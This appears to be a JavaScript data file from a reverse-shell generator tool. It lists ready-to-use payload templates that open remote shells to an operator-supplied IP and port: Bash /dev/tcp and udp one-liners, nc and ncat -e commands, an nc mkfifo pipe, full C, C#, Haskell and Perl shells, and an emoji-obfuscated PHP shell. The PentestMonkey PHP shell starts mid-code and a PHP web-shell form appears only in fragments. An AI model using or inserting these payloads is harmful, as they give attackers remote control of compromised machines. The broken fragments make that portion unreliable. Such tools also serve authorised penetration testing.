const CommandType = { 'ReverseShell': 'ReverseShell', 'BindShell': 'BindShell', 'MSFVenom': 'MSFVenom' }; const withCommandType = function (commandType, elements) { return elements.map((element) => { return { ...element, meta: [ ...element.meta, commandType ] } }); } const reverseShellCommands = withCommandType( CommandType.ReverseShell, [ { "name": "Bash -i", "command": "{shell} -i >& /dev/tcp/{ip}/{port} 0>&1", "meta": ["linux", "mac"] }, { "name": "Bash 196", "command": "0<&196;exec 196<>/dev/tcp/{ip}/{port}; {shell} <&196 >&196 2>&196", "meta": ["linux", "mac"] }, { "name": "Bash read line", "command": "exec 5<>/dev/tcp/{ip}/{port};cat <&5 | while read line; do $line 2>&5 >&5; done", "meta": ["linux", "mac"] }, { "name": "Bash 5", "command": "{shell} -i 5<> /dev/tcp/{ip}/{port} 0<&5 1>&5 2>&5", "meta": ["linux", "mac"] }, { "name": "Bash udp", "command": "{shell} -i >& /dev/udp/{ip}/{port} 0>&1", "meta": ["linux", "mac"] }, { "name": "nc mkfifo", "command": "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|{shell} -i 2>&1|nc {ip} {port} >/tmp/f", "meta": ["linux", "mac"] }, { "name": "nc -e", "command": "nc -e {shell} {ip} {port}", "meta": ["linux", "mac"] }, { "name": "nc.exe -e", "command": "nc -e {shell} {ip} {port}", "meta": ["windows"] }, { "name": "nc -c", "command": "nc -c {shell} {ip} {port}", "meta": ["linux", "mac"] }, { "name": "ncat -e", "command": "ncat {ip} {port} -e {shell}", "meta": ["linux", "mac"] }, { "name": "ncat.exe -e", "command": "ncat.exe {ip} {port} -e {shell}", "meta": ["windows"] }, { "name": "ncat udp", "command": "ncat {ip} {port} -e {shell}", "meta": ["linux", "mac"] }, { "name": "C", "command": "#include \n#include \n#include \n#include \n#include \n#include \n#include \n\nint main(void){\n int port = {port};\n struct sockaddr_in revsockaddr;\n\n int sockt = socket(AF_INET, SOCK_STREAM, 0);\n revsockaddr.sin_family = AF_INET; \n revsockaddr.sin_port = htons(port);\n revsockaddr.sin_addr.s_addr = inet_addr(\"{ip}\");\n\n connect(sockt, (struct sockaddr *) &revsockaddr, \n sizeof(revsockaddr));\n dup2(sockt, 0);\n dup2(sockt, 1);\n dup2(sockt, 2);\n\n char * const argv[] = {\"{shell}\", NULL};\n execve(\"{shell}\", argv, NULL);\n\n return 0; \n}", "meta": ["linux", "windows", "mac"] }, { "name": "C#", "command": "using System;\nusing System.Text;\nusing System.IO;\nusing System.Diagnostics;\nusing System.ComponentModel;\nusing System.Linq;\nusing System.Net;\nusing System.Net.Sockets;\n\n\nnamespace ConnectBack\n{\n\tpublic class Program\n\t{\n\t\tstatic StreamWriter streamWriter;\n\n\t\tpublic static void Main(string[] args)\n\t\t{\n\t\t\tusing(TcpClient client = new TcpClient(\"{ip}\", {port}))\n\t\t\t{\n\t\t\t\tusing(Stream stream = client.GetStream())\n\t\t\t\t{\n\t\t\t\t\tusing(StreamReader rdr = new StreamReader(stream))\n\t\t\t\t\t{\n\t\t\t\t\t\tstreamWriter = new StreamWriter(stream);\n\t\t\t\t\t\t\n\t\t\t\t\t\tStringBuilder strInput = new StringBuilder();\n\n\t\t\t\t\t\tProcess p = new Process();\n\t\t\t\t\t\tp.StartInfo.FileName = \"cmd.exe\";\n\t\t\t\t\t\tp.StartInfo.CreateNoWindow = true;\n\t\t\t\t\t\tp.StartInfo.UseShellExecute = false;\n\t\t\t\t\t\tp.StartInfo.RedirectStandardOutput = true;\n\t\t\t\t\t\tp.StartInfo.RedirectStandardInput = true;\n\t\t\t\t\t\tp.StartInfo.RedirectStandardError = true;\n\t\t\t\t\t\tp.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);\n\t\t\t\t\t\tp.Start();\n\t\t\t\t\t\tp.BeginOutputReadLine();\n\n\t\t\t\t\t\twhile(true)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tstrInput.Append(rdr.ReadLine());\n\t\t\t\t\t\t\t//strInput.Append(\"\\n\");\n\t\t\t\t\t\t\tp.StandardInput.WriteLine(strInput);\n\t\t\t\t\t\t\tstrInput.Remove(0, strInput.Length);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tprivate static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)\n {\n StringBuilder strOutput = new StringBuilder();\n\n if (!String.IsNullOrEmpty(outLine.Data))\n {\n try\n {\n strOutput.Append(outLine.Data);\n streamWriter.WriteLine(strOutput);\n streamWriter.Flush();\n }\n catch (Exception err) { }\n }\n }\n\n\t}\n}", "meta": ["linux", "windows"] }, { "name": "Haskell #1", "command": "module Main where\n\nimport System.Process\n\nmain = callCommand \"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | {shell} -i 2>&1 | nc {ip} {port} >/tmp/f\"", "meta": ["linux", "mac"] }, { "name": "Perl", "command": "perl -e 'use Socket;$i=\"{ip}\";$p={port};socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"{shell} -i\");};'", "meta": ["linux", "mac"] }, { "name": "Perl no sh", "command": "perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,\"{ip}:{port}\");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'", "meta": ["linux", "mac"] }, { "name": "PHP Emoji", "command": "php -r '$๐Ÿ˜€=\"1\";$๐Ÿ˜=\"2\";$๐Ÿ˜…=\"3\";$๐Ÿ˜†=\"4\";$๐Ÿ˜‰=\"5\";$๐Ÿ˜Š=\"6\";$๐Ÿ˜Ž=\"7\";$๐Ÿ˜=\"8\";$๐Ÿ˜š=\"9\";$๐Ÿ™‚=\"0\";$๐Ÿคข=\" \";$๐Ÿค“=\"<\";$๐Ÿค =\">\";$๐Ÿ˜ฑ=\"-\";$๐Ÿ˜ต=\"&\";$๐Ÿคฉ=\"i\";$๐Ÿค”=\".\";$๐Ÿคจ=\"/\";$๐Ÿฅฐ=\"a\";$๐Ÿ˜=\"b\";$๐Ÿ˜ถ=\"i\";$๐Ÿ™„=\"h\";$๐Ÿ˜‚=\"c\";$๐Ÿคฃ=\"d\";$๐Ÿ˜ƒ=\"e\";$๐Ÿ˜„=\"f\";$๐Ÿ˜‹=\"k\";$๐Ÿ˜˜=\"n\";$๐Ÿ˜—=\"o\";$๐Ÿ˜™=\"p\";$๐Ÿค—=\"s\";$๐Ÿ˜‘=\"x\";$๐Ÿ’€ = $๐Ÿ˜„. $๐Ÿค—. $๐Ÿ˜—. $๐Ÿ˜‚. $๐Ÿ˜‹. $๐Ÿ˜—. $๐Ÿ˜™. $๐Ÿ˜ƒ. $๐Ÿ˜˜;$๐Ÿš€ = \"{ip}\";$๐Ÿ’ป = {port};$๐Ÿš = \"{shell}\". $๐Ÿคข. $๐Ÿ˜ฑ. $๐Ÿคฉ. $๐Ÿคข. $๐Ÿค“. $๐Ÿ˜ต. $๐Ÿ˜…. $๐Ÿคข. $๐Ÿค . $๐Ÿ˜ต. $๐Ÿ˜…. $๐Ÿคข. $๐Ÿ˜. $๐Ÿค . $๐Ÿ˜ต. $๐Ÿ˜…;$๐Ÿคฃ = $๐Ÿ’€($๐Ÿš€,$๐Ÿ’ป);$๐Ÿ‘ฝ = $๐Ÿ˜ƒ. $๐Ÿ˜‘. $๐Ÿ˜ƒ. $๐Ÿ˜‚;$๐Ÿ‘ฝ($๐Ÿš);'", "meta": ["linux", "mac"] }, { "name": "PHP PentestMonkey", "command": " array(\"pipe\", \"r\"), // stdin is a pipe that the child will read from\n 1 => array(\"pipe\", \"w\"), // stdout is a pipe that the child will write to\n 2 => array(\"pipe\", \"w\") // stderr is a pipe that the child will write to\n);\n\n$process = proc_open($shell, $descriptorspec, $pipes);\n\nif (!is_resource($process)) {\n\tprintit(\"ERROR: Can't spawn shell\");\n\texit(1);\n}\n\nstream_set_blocking($pipes[0], 0);\nstream_set_blocking($pipes[1], 0);\nstream_set_blocking($pipes[2], 0);\nstream_set_blocking($sock, 0);\n\nprintit(\"Successfully opened reverse shell to $ip:$port\");\n\nwhile (1) {\n\tif (feof($sock)) {\n\t\tprintit(\"ERROR: Shell connection terminated\");\n\t\tbreak;\n\t}\n\n\tif (feof($pipes[1])) {\n\t\tprintit(\"ERROR: Shell process terminated\");\n\t\tbreak;\n\t}\n\n\t$read_a = array($sock, $pipes[1], $pipes[2]);\n\t$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);\n\n\tif (in_array($sock, $read_a)) {\n\t\tif ($debug) printit(\"SOCK READ\");\n\t\t$input = fread($sock, $chunk_size);\n\t\tif ($debug) printit(\"SOCK: $input\");\n\t\tfwrite($pipes[0], $input);\n\t}\n\n\tif (in_array($pipes[1], $read_a)) {\n\t\tif ($debug) printit(\"STDOUT READ\");\n\t\t$input = fread($pipes[1], $chunk_size);\n\t\tif ($debug) printit(\"STDOUT: $input\");\n\t\tfwrite($sock, $input);\n\t}\n\n\tif (in_array($pipes[2], $read_a)) {\n\t\tif ($debug) printit(\"STDERR READ\");\n\t\t$input = fread($pipes[2], $chunk_size);\n\t\tif ($debug) printit(\"STDERR: $input\");\n\t\tfwrite($sock, $input);\n\t}\n}\n\nfclose($sock);\nfclose($pipes[0]);\nfclose($pipes[1]);\nfclose($pipes[2]);\nproc_close($process);\n\nfunction printit ($string) {\n\tif (!$daemon) {\n\t\tprint \"$string\\n\";\n\t}\n}\n\n?>", "meta": ["linux", "windows", "mac"] }, { "name": "PHP cmd", "command": "\n\n
\">\n\n\n<\/form>\n
\n\n<\/pre>\n<\/body>\n